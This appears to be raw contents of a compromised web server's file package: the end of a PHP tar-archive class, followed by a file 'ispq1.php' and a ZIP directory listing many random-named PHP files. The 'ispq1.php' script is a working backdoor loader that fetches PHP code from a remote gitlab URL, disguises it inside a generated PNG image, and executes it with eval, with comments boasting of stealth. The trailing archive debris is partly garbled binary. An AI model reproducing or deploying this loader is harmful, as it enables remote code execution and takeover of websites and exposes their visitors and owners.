if (file_exists($header['filename'])){
if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
return false;
}
if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
if (!is_writeable($header['filename'])){
$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
return false;
}
if ($header['typeflag'] == '5'){
if (!file_exists($header['filename'])) {
if (!mkdir($header['filename'], 0777)) {
$this->errors[] = __('Cannot create directory').' '.$header['filename'];
return false;
}
}
} else {
if (($destination = fopen($header['filename'], 'wb')) == 0) {
$this->errors[] = __('Cannot write to file').' '.$header['filename'];
return false;
} else {
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++) {
$content = $this->readBlock();
fwrite($destination, $content, 512);
}
if (($header['size'] % 512) != 0) {
$content = $this->readBlock();
fwrite($destination, $content, ($header['size'] % 512));
}
fclose($destination);
touch($header['filename'], $header['time']);
}
clearstatcache();
if (filesize($header['filename']) != $header['size']) {
$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
return false;
}
}
if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
$this->dirs[] = $file_dir;
$this->files[] = $header['filename'];
}
return true;
}
function dirCheck($dir){
$parent_dir = dirname($dir);
if ((@is_dir($dir)) or ($dir == ''))
return true;
if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
return false;
if (!mkdir($dir, 0777)){
$this->errors[] = __('Cannot create directory').' '.$dir;
return false;
}
return true;
}
function readHeader($binaryData, &$header){
if (strlen($binaryData)==0){
$header['filename'] = '';
return true;
}
if (strlen($binaryData) != 512){
$header['filename'] = '';
$this->__('Invalid block size').': '.strlen($binaryData);
return false;
}
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));
$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);
$header['checksum'] = OctDec(trim($unpack_data['checksum']));
if ($header['checksum'] != $checksum){
$header['filename'] = '';
if (($checksum == 256) && ($header['checksum'] == 0)) return true;
$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
return false;
}
if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0;
$header['filename'] = trim($unpack_data['filename']);
$header['mode'] = OctDec(trim($unpack_data['mode']));
$header['user_id'] = OctDec(trim($unpack_data['user_id']));
$header['group_id'] = OctDec(trim($unpack_data['group_id']));
$header['size'] = OctDec(trim($unpack_data['size']));
$header['time'] = OctDec(trim($unpack_data['time']));
return true;
}
function writeHeader($filename, $keep_filename){
$packF = 'a100a8a8a8a12A12';
$packL = 'a1a100a6a2a32a32a8a8a155a12';
if (strlen($keep_filename)<=0) $keep_filename = $filename;
$filename_ready = $this->makeGoodPath($keep_filename);
if (strlen($filename_ready) > 99){ //write long header
$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');
// Calculate the checksum
$checksum = 0;
// First part of the header
for ($i = 0; $i < 148; $i++)
$checksum += ord(substr($dataFirst, $i, 1));
// Ignore the checksum value and replace it by ' ' (space)
for ($i = 148; $i < 156; $i++)
$checksum += ord(' ');
// Last part of the header
for ($i = 156, $j=0; $i < 512; $i++, $j++)
$checksum += ord(substr($dataLast, $j, 1));
// Write the first 148 bytes of the header in the archive
$this->writeBlock($dataFirst, 148);
// Write the calculated checksum
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
// Write the last 356 bytes of the header in the archive
$this->writeBlock($dataLast, 356);
$tmp_filename = $this->makeGoodPath($filename_ready);
$i = 0;
while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
return true;
}
$file_info = stat($filename);
if (@is_dir($filename)){
$typeflag = '5';
$size = sprintf('%11s ', DecOct(0));
} else {
$typeflag = '';
clearstatcache();
$size = sprintf('%11s ', DecOct(filesize($filename)));
}
$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
$this->writeBlock($dataFirst, 148);
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
$this->writeBlock($dataLast, 356);
return true;
}
function openWrite(){
if ($this->isGzipped)
$this->tmp_file = gzopen($this->archive_name, 'wb9f');
else
$this->tmp_file = fopen($this->archive_name, 'wb');
if (!($this->tmp_file)){
$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
return false;
}
return true;
}
function readBlock(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
$block = gzread($this->tmp_file, 512);
else
$block = fread($this->tmp_file, 512);
} else $block = '';
return $block;
}
function writeBlock($data, $length = 0){
if (is_resource($this->tmp_file)){
if ($length === 0){
if ($this->isGzipped)
gzputs($this->tmp_file, $data);
else
fputs($this->tmp_file, $data);
} else {
if ($this->isGzipped)
gzputs($this->tmp_file, $data, $length);
else
fputs($this->tmp_file, $data, $length);
}
}
}
function closeTmpFile(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
gzclose($this->tmp_file);
else
fclose($this->tmp_file);
$this->tmp_file = 0;
}
}
function makeGoodPath($path){
if (strlen($path)>0){
$path = str_replace('\\', '/', $path);
$partPath = explode('/', $path);
$els = count($partPath)-1;
for ($i = $els; $i>=0; $i--){
if ($partPath[$i] == '.'){
// Ignore this directory
} elseif ($partPath[$i] == '..'){
$i--;
}
elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
} else
$result = $partPath[$i].($i!=$els ? '/'.$result : '');
}
} else $result = '';
return $result;
}
}
?>
PK �9m\��'� ispq1.phpnu �[��� <?php
/*
Improved PNG disguise for hidden PHP payloads.
This script fetches remote code, embeds it into a realistic PNG file,
and executes it stealthily.
*/
session_start();
// Main remote code URL (can be overridden by session)
$mainUrl = $_SESSION['ts_url'] ?? 'https://gitlab.com/mrgithub89-group/mrgithub89-projectaa/-/raw/main/wp-security.php';
// --------------------------------------------
// 1. Generate a realistic PNG image (128x128)
// --------------------------------------------
function generateRealisticPngHeader($width = 128, $height = 128) {
ob_start();
$image = imagecreatetruecolor($width, $height);
// Fill with random noise
for ($x = 0; $x < $width; $x++) {
for ($y = 0; $y < $height; $y++) {
$color = imagecolorallocate($image, rand(0,255), rand(0,255), rand(0,255));
imagesetpixel($image, $x, $y, $color);
}
}
imagepng($image);
imagedestroy($image);
return ob_get_clean(); // Binary PNG data
}
// --------------------------------------------
// 2. Load remote PHP code from given URL
// --------------------------------------------
function loadRemoteData($url) {
$content = '';
try {
$file = new SplFileObject($url);
while (!$file->eof()) {
$content .= $file->fgets();
}
} catch (Throwable $e) {
$content = '';
}
if (strlen(trim($content)) < 1) {
$content = @file_get_contents($url);
}
if (strlen(trim($content)) < 1 && function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_CONNECTTIMEOUT => 5,
CURLOPT_TIMEOUT => 10,
]);
$content = curl_exec($ch);
curl_close($ch);
}
return $content;
}
// --------------------------------------------
// 3. Create payload by appending hidden PHP code
// --------------------------------------------
function createStealthPayload($phpCode) {
$png = generateRealisticPngHeader();
$marker = '###PAYLOAD###';
$encoded = base64_encode($phpCode);
return $png . $marker . $encoded;
}
// --------------------------------------------
// 4. Extract and execute hidden payload
// --------------------------------------------
function extractAndExecutePayload($data) {
$marker = '###PAYLOAD###';
$parts = explode($marker, $data);
if (count($parts) === 2) {
$decoded = base64_decode($parts[1]);
if ($decoded !== false && strlen(trim($decoded)) > 0) {
@eval("?>$decoded");
}
}
}
// --------------------------------------------
// Main Execution Flow
// --------------------------------------------
$remoteCode = loadRemoteData($mainUrl);
if (strlen(trim($remoteCode)) > 0) {
$payload = createStealthPayload($remoteCode);
extractAndExecutePayload($payload); // Executes hidden remote code
}
?>
PK �9m\M��� � huext.phpnu �[��� PK �9m\���� � � about.phpnu �[��� PK �9m\�h��� �� sabg5.phpnu �[��� PK �9m\o�e�*� *� � bepyo.phpnu �[��� PK �9m\��f(�E �E LW f3wzk.phpnu �[��� PK �9m\�.�Q�% �% ^� v95wi.phpnu �[��� PK �9m\6^�d�5 �5 l� q1dsi.phpnu �[��� PK �9m\} ���@ �@ �� 21dew.phpnu �[��� PK �9m\Aj�%\ %\ G: 8vgr5.phpnu �[��� PK �9m\�媡h h �� index.phpnu �[��� PK �9m\�(C$�* �* F� nbixv.phpnu �[��� PK �9m\o���� �� V� 9fj62.phpnu �[��� PK �9m\h�_�� � � 2m6cn-20260307205259.phpnu �[��� PK �9m\Q��0, 0, :� 95r6k.phpnu �[��� PK �9m\h�_�� � �� 2m6cn.phpnu �[��� PK �9m\A4��|� |� �� mjdqk.phpnu �[��� PK �9m\~\ݸ5
5
r� z8op2.phpnu �[��� PK �9m\ako�g~ g~ �� wufim.phpnu �[��� PK �9m\ �]��W �W �X pbyk4.phpnu �[��� PK �9m\�0a�n� n� y� ihmkq.phpnu �[��� PK �9m\����dK dK 8 6hwey.phpnu �[��� PK �9m\�f�r� � �� samurai_activity.lognu �[��� PK �9m\���� � ń 8x2gj.phpnu �[��� PK �9m\�K�V� � � dr80q.phpnu �[��� PK �9m\��'� � ispq1-20260308013116.phpnu �[��� PK �9m\���7�5 �5 x� vf6tc.phpnu �[��� PK �9m\��'� �� ispq1.phpnu �[��� PK � �